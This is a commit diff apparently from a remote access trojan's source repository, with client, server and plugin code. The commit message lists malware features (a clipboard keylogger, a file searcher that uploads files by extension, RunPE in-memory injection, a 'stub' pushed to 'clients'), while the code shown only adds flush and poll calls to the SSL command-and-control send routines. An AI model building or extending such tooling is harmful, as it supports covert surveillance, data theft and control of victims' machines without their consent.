Update
fixed send to disk fixed keylogger [clipboard] #172 fixed installation added file searcher [to search and upload any file by it extension] added group to listview updated plugin save method updated runpe send to memory minor improvements ## NOTE You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
This commit is contained in:
parent
dfa505e2af
commit
abca238794
@ -233,6 +233,7 @@ namespace Client.Connection
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -193,6 +193,7 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -190,6 +190,7 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -196,6 +196,7 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -197,11 +197,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -190,6 +190,7 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -190,6 +190,7 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -190,11 +190,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -190,11 +190,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -109,11 +109,14 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -189,11 +189,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -190,11 +190,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -189,11 +189,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -189,11 +189,13 @@ namespace Plugin
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(msg, 0, msg.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
|
@ -198,6 +198,7 @@ namespace Server.Connection
|
|||||||
{
|
{
|
||||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(chunk, 0, read);
|
SslClient.Write(chunk, 0, read);
|
||||||
|
SslClient.Flush();
|
||||||
lock (Settings.LockReceivedSendValue)
|
lock (Settings.LockReceivedSendValue)
|
||||||
Settings.SentValue += read;
|
Settings.SentValue += read;
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user